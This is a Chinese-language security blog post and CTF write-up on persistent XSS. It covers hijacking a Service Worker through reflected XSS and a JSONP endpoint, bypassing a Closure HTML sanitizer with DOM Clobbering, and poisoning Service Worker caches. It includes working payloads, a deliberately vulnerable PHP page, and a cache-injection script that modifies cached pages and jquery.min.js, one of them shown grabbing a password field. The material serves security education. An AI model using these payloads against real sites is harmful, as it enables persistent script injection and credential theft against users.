一、Service Worker
介绍
Service Worker
可以理解为客户端与服务器之间的一个代理服务器。当网站中注册了Service Worker
,那么它就可以拦截请求,根据开发者定义的程序,来判断是将请求传送给服务端还是直接通过缓存返回给客户端。
下面简单来实现一下Service Worker
:
# index.html
<script>
if('serviceWorker' in navigator){
window.addEventListener('load',function(){
navigator.serviceWorker.register('./ws.js',{scope: './'})
.then(function (registration) {
console.log('serviceWorker registered')
})
.catch(function (err) {
console.log('serviceWorker regist failed')
})
})
}
</script>
简单解释一下代码:首先判断浏览器是否支持Service Worker
,然后创建一个Service Worker
,并指定其执行的代码以及作用域scope
,该作用域表示的内容为拦截指定目录下的所有请求。创建成功之后,会执行then
,否则执行catch
。
在创建Service Worker
的时候,指定了运行代码,既可以通过文件的形式指定,也可以直接通过代码的形式执行。接下来我们在ws.js
中定义缓存规则代码:
this.addEventListener('install',function(event){
event.waitUntil(
caches.open('m1sn0w').then(function (cache) {
return cache.addAll([
'./index.html'
])
})
)
})
this.addEventListener('fetch',function (event) {
event.respondWith(
new Response('m1sn0w',{headers: {'Content-Type':'text/html'}})
)
})
这个文件中定义了两个事件,一个是install
事件,另外一个是fetch
事件,install
事件一般用来设置浏览器的缓存逻辑,可以指定要缓存的资源路径文件,而fetch
事件是拦截请求后所作的动作,例如上面直接页面,内容为m1sn0w
。在后续的XSS
持久化利用中,主要使用到fetch
这个事件。
二、劫持Service Worker
假设存在一个反射型XSS
漏洞利用点,例如:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="./index.php" method="POST" >
<input type="text" name="xss" />
<input type="submit" name="submit" value="提交" />
</form>
<?php
if(isset($_POST['xss'])){
echo $_POST['xss'];
}
?>
</body>
</html>
如果想要劫持Service Worker
的话,还需要一个条件,就是同域环境下需要一个jsonp
,因为在后续构造fetch
事件的时候,需要这个jsonp
来将构造的代码返回,从而被当作执行的代码,例如,我在同域环境下给出一个jsonp
(其实只需要能返回GET
请求的数据就行):
# evil.js
<?php
header('Content-type: text/javascript');
$callback=$_GET['callback'];
echo $callback;
?>
这里需要返回头部信息为text/javascript
,因为我们需要返回.回来的代码被当作JS
处理。然后我们构造如下Payload
,并指定了缓存路径为./m1sn0w/
,通过POST
提交上去:
<script>
navigator.serviceWorker.register('./evil.php?callback=onfetch=function(e){console.log(1);e.respondWith(new Response("m1sn0w",{headers: {"Content-Type":"text/html"}}))}',{scope: './m1sn0w/'})
</script>
之后我访问/m1sn0w/
目录下的任何文件,都会返回m1sn0w
字符。(不管文件是否存在)
三、湖湘杯Pastebin
这里只探究一下涉及到的两个前端知识点,一个是DOM Clobbering
,另外一个就是污染Service Worker
来持久化XSS
。
1、DOM Clobbering
绕过检验函数
首先是第一个漏洞,DOM Clobbering
,我们根据payload
去调试分析一下整条链:
# payload
<form><input name=removeChild></form><img src=x onerror=alert(1337)>
在此之前,简单分析一下前端校验代码:
async function do_things(id) {
try {
var html = await get(id);
var doc = new DOMParser().parseFromString(html, "text/html");
if(doc.querySelectorAll("math").length !== 0 || doc.querySelectorAll("svg").length !== 0 || doc.querySelectorAll("base").length !== 0 || doc.querySelectorAll("object").length !== 0){
console.log("filtered");
return "<b>Your paste have been filtered</b>";
}
html = safepaste.sanitize(html);
} catch(e) {
// fetch failed
console.log(e)
}
return html;
}
这里用到try...catch
语句,但是在catch
语句中并没有将程序结束,也就是说catch
之后,程序还是会返回html
变量。所以这里的思路就是在try
语句块中触发报错,从而逃过sanitize
函数的检查。经过上下文分析,可以知道html
变量是受我们控制的。
通过调试代码分析,最终会调用到(new goog.html.sanitizer.HtmlSanitizer).sanitize(a);
,而a
变量就是受控的html
变量。继续跟进sanitize(a)
代码,会经过如下函数处理:this.processToString(a)
-->this.processToTree(a)
-->goog.dom.removeChildren(d)
。
变量a
在processToTree
这个函数中进行了一些处理,也就是将字符串转换成了html
标签。然后获取了整个标签的父标签,也就是最外层的标签对象,并将其赋值给了d
变量。
然后将d
变量传送给了goog.dom.removeChildren
函数处理,我们看看该函数的具体实现:
goog.dom.removeChildren = function(a) {
for (var b; b = a.firstChild; ) {
a.removeChild(b)
}
}
由于这里传入的变量是一个标签对象,了解DOM Clobbering
的话就很容易看出来这里存在漏洞。例如传入的数据是<form>
标签,其子标签元素input
的name
值为removeChild
,那么上面的a.removeChild
表示的就是<input>
这个标签对象,而不再是函数,因此,这里最终会报错。
我在这里加了一个console.log
输出变量,最终控制台输出<input>
标签对象:
因此,我们最终构造payload
的时候,只需要在前面加上<form><input name=removeChild></form>
即可逃过校验函数的检测,后面就可以构造xss
利用代码。
2、修改Service Worker
缓存
该题的第二个考点就是污染Service Worker
来持久化XSS
。先不谈为什么这里需要持久化,我们先单纯地学习一下这个知识点。出题师傅给了一篇论文,https://swcacheattack.secpriv.wien/
,我们先对论文里面的内容做一个了解与分析。
文章给出的攻击思路,大概就是利用xss
漏洞去污染Service Worker
缓存,然后将缓存中的一些静态数据修改掉,当用户再次访问页面的时候,由于Service Worker
缓存的存在,会直接将缓存的数据返回给用户。而这些缓存的数据,由于被修改了,这样也就达到了攻击用户的目的。
我们对文中给出的payload
做一个简单的分析:
(async () => {
let p = `<script>document.querySelector('#col-add button').addEventListener('click', (event) => {alert('Password stolen: ' + document.querySelector('#col-add input[type="password"]').value);});</script>`;
let t = '/safenotes/';
let c = await caches.open('static');
let r = await c.match(t);
let rt = await r.text();
await c.put(t,
new Response(rt.replace('</body>', p + '</body>'), {
status: 200,
statusText: 'OK',
headers: r.headers
})
);
})();
这里的caches.open
用来打开static
缓存空间,然后通过match
来寻找缓存文件,这里找到的文件如图所示:
接下来,它将文件的内容读取出来,然后将构造的payload
代码插入到文件内容中,并将更新的文件内容再次写入缓存空间。我们简单分析一下该攻击手法,攻击前提是存在一个XSS
漏洞点,然后网站原本开启了Service Worker
缓存。利用XSS
漏洞,将缓存文件内容替换,从而达到攻击的目的。
我们回到这个题目,可以通过查看缓存空间,来获知哪些文件进行了缓存:
接下来的利用方式就是结合上面的思路,我们修改缓存文件,例如jquery.min.js
,当有一个地方引入这个文件的时候,就会触发我们修改添加进去的xss
恶意代码。
<script>
(async () => {
let e = "/jquery.min.js",
t = await caches.open("static-resources"),
a = await t.match(e),
s = await a.text();
await t.put(e, new Response(s.replace("jQuery=C.$=S),S});",
`jQuery=C.$=S),S});alert('xss');`),
{
status: 200,
statusText: "OK",
headers: a.headers
}))
})();
</script>
在本地简单搭建了一个demo
来对此攻击示例做一个测试。在存在xss
漏洞点的地方,输入上述payload
,结果会导致Jquey
缓存文件内容发生了改变,当我们再次访问导入了Jquery
的页面的时候,会弹出xss
框。
该题接下来的利用就是分析bot
程序的行为,然后修改action
属性值,最终将flag
数据外带从而拿到flag
值。
参考文章:
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)